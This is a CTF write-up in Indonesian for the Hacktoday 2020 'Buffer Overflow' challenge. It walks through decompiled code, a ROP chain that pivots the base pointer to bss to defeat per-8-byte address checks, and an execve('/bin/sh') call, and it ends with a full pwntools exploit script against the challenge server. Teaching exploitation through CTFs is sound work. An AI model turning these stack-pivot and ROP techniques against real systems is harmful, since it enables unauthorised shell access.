5 minutes
Hacktoday 2020 (Quals) - Buffer Overflow
this challenge was created by me
Overview
Diberikan binary dengan proteksi sebagai berikut:
Binary tersebut tersebut menampilkan tulisan “OK, I’ll give you buffer overflow” lalu meminta input maksimal 1000 byte dan terdapat beberapa pengecekan setiap 8 byte. Berikut hasil dekompilasi fungsi main
:
int __cdecl main(int argc, const char **argv, const char **envp)
{
signed __int64 v4; // [rsp+0h] [rbp-50h]
int v5; // [rsp+8h] [rbp-48h]
int v6; // [rsp+Ch] [rbp-44h]
char buf[64]; // [rsp+10h] [rbp-40h]
__int64 savedregs; // [rsp+50h] [rbp+0h]
memset(buf, 0, sizeof(buf));
v5 = 0;
init(&savedregs, argv, buf);
strcpy(str, "OK, I'll give you buffer overflow");
puts(str);
v6 = read(0, buf, 0x3E8uLL);
while ( v6 / 8 != v5 )
{
v4 = *(_QWORD *)&buf[8 * v5];
if ( v4 > 255 && v4 < (signed __int64)maybe_you_need_this
|| v4 > (signed __int64)etext && v4 < (signed __int64)&_bss_start
|| v4 > (signed __int64)&end )
{
puts("restricted.");
exit(1);
}
++v5;
}
return 0;
}
binary tersebut juga disediakan gadget tambahan seperti pop rdx dan juga syscall.
Terlihat beberapa pengecekan:
- v4 > 255 && v4 < (signed __int64)maybe_you_need_this
- v4 > (signed __int64)etext && v4 < (signed __int64)&_bss_start
- v4 > (signed __int64)&end )
Atau jika ditulis menggunakan alamat akan seperti:
- 255 < v4 < 0x0000000004006B6
- 0x000000000040090D < v4 < 0x0000000000601058
- v4 > 0x0000000006010B0
Itulah yang tidak boleh kita tulis setiap 8 byte pada array, dengan adanya pengecekan tersebut kita tidak bisa menulis PLT, GOT, dan libc address.
Vulnerability
Sesuai nama soal, iya, buffer overflow wkwkw
Exploit
Exploit yang kita akan lakukan adalah memanggil execve("/bin/sh”, 0, 0). Namun karena kita tidak bisa menulis /bin/sh, kita harus mencari cara agar lolos pengecekan. Caranya yaitu dengan memanggil fungsi read
yang berada pada fungsi main (0x00000000004007E7). Untuk setup argumennya dapat dilakukan dengan menggunakan beberapa gadget yang lolos pengecekan yaitu pop rdi (0x00000000004008f3), pop rsi (0x00000000004008f1), dan pop rdx (0x00000000004006ba). Pada sebelum memanggil read
, di payload kita tambahkan untuk mengubah base pointer ke bss (0x0000000006010a8) karena address diketahui dan juga lolos pengecekan. Kenapa base pointer diubah? karena kita akan memanggil read
lagi untuk mengoverwrite rbp-0x48 (v5
) yang merupakan counter pada saat pengecekan berlangsung dan akan diubah dengan nilai panjang string (payload) dibagi 8, supaya tidak ada pengecekan sama sekali dan kita dapat dengan mudah memasukkan string /bin/sh didalamnya.
rbp = 0x0000000006010a8
read = 0x0000000004007E7
pop_rdi = 0x00000000004008f3
pop_rsi_r15 = 0x00000000004008f1
pop_rdx = 0x00000000004006ba
syscall = 0x00000000004006bc
payload = '\x00'*64
payload += p64(rbp)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(rbp-0x48)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(200)
payload += p64(read)
p.sendlineafter('flow\n', payload)
berikut kondisi setelah payload dikirim dan tepat sebelum pemanggilan read
kedua:
│0x0000000000601060│+0x0000 0x00007faada9a9620 <- rbp - 0x48 (v5)
│0x0000000000601068│+0x0008 0x0000000000000000
│0x0000000000601070│+0x0010 0x00007faada9a88e0
│0x0000000000601078│+0x0018 0x0000000000000000
│0x0000000000601080│+0x0020 0x6c6c2749202c4b4f
│0x0000000000601088│+0x0028 0x6f79206576696720
│0x0000000000601090│+0x0030 0x7265666675622075
│0x0000000000601098│+0x0038 0x6f6c667265766f20
│0x00000000006010a0│+0x0040 0x0000000000000077
│0x00000000006010a8│+0x0048 0x0000000000000000 <- rbp
kita akan membuat payload yang mengoverwrite rbp-0x48 pada saat read
kedua sekaligus setup untuk pemanggilan execve("/bin/sh”, 0, 0). Tetapi bagaimana set nilai raxnya? Disini saya menyediakan suatu fungsi yang memiliki nilai keluaran yang mana hal tersebut bisa digunakan untuk setup nilai rax, yaitu fungsi what
. Berikut hasil dekompilasinya:
__int64 __fastcall what(int a1, int a2)
{
signed int v2; // eax
signed int i; // [rsp+14h] [rbp-4h]
v2 = a1;
if ( a2 >= a1 )
v2 = a2;
for ( i = v2; i % a1 || i % a2; ++i )
;
return (unsigned int)i;
}
Hmm jika diteliti lagi itu merupakan fungsi KPK (Lho kok naronya fungsi KPK??? ya karena pengen wkwkwk). Jadi untuk memanggil execve kita harus set nilai rax menjadi 59, berarti kita harus setup argumen-argumen fungsi what
menjadi 59 dan 1 atau 59 dan 59.
payload = '/bin/sh'.ljust(0x48, '\x00')
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi_r15)
payload += p64(59)
payload += p64(0)
payload += p64(elf.sym['what'])
payload += p64(pop_rdi)
payload += p64(rbp-0x40)
payload += p64(pop_rsi_r15)
payload += p64(0)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(syscall)
karena mengingat kita harus overwrite rbp-0x48 (v5
), pada awal payload kita taruh panjang payload dibagi 8.
counter = len(payload) / 8 + 1
payload = p64(counter) + payload
p.sendline(payload)
setelah payload dikirim akan menjadi:
│0x0000000000601060│+0x0000 0x0000000000000018 <- rbp-0x48 (v5)
│0x0000000000601068│+0x0008 0x0068732f6e69622f ("/bin/sh")
│0x0000000000601070│+0x0010 0x0000000000000000
│0x0000000000601078│+0x0018 0x0000000000000000
│0x0000000000601080│+0x0020 0x0000000000000000
│0x0000000000601088│+0x0028 0x0000000000000000
│0x0000000000601090│+0x0030 0x0000000000000000
│0x0000000000601098│+0x0038 0x0000000000000000
│0x00000000006010a0│+0x0040 0x0000000000000000
│0x00000000006010a8│+0x0048 0x0000000000000000 <- rbp
nilai 0x18 akan sama dengan panjang payload dibagi 8, dan while ( v6 / 8 != v5 )
akan bernilai false yang artinya tidak akan ada pengecekan sama sekali. Dengan begitu ropchain untuk pemanggilan execve("/bin/sh”, 0, 0) akan sukses.
Full exploit code
from pwn import *
import sys
BINARY = './chall'
con = 'nc chall.codepwnda.id 17013'
if(con):
con = con.split(' ')
HOST = con[1]
PORT = con[2]
elf = ELF(BINARY, checksec=False)
argv = sys.argv
# context.terminal = 'gnome-terminal -e'.split()
context.terminal = 'tmux splitw -h -p 70'.split()
#context.log_level = 'DEBUG'
def exploit():
rbp = 0x0000000006010a8
read = 0x0000000004007E7
pop_rdi = 0x00000000004008f3
pop_rsi_r15 = 0x00000000004008f1
pop_rdx = 0x00000000004006ba
syscall = 0x00000000004006bc
payload = '\x00'*64
payload += p64(rbp)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(rbp-0x48)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(200)
payload += p64(read)
p.sendlineafter('flow\n', payload)
payload = '/bin/sh'.ljust(0x48, '\x00')
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi_r15)
payload += p64(59)
payload += p64(0)
payload += p64(elf.sym['what'])
payload += p64(pop_rdi)
payload += p64(rbp-0x40)
payload += p64(pop_rsi_r15)
payload += p64(0)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(syscall)
counter = len(payload) / 8 + 1
payload = p64(counter) + payload
p.sendline(payload)
p.interactive()
if __name__ == '__main__':
p = process(BINARY)
if len(argv) > 1:
if argv[1] != 'd':
p = remote(HOST, PORT)
else:
cmd = '''
'''
gdb.attach(p, cmd)
exploit()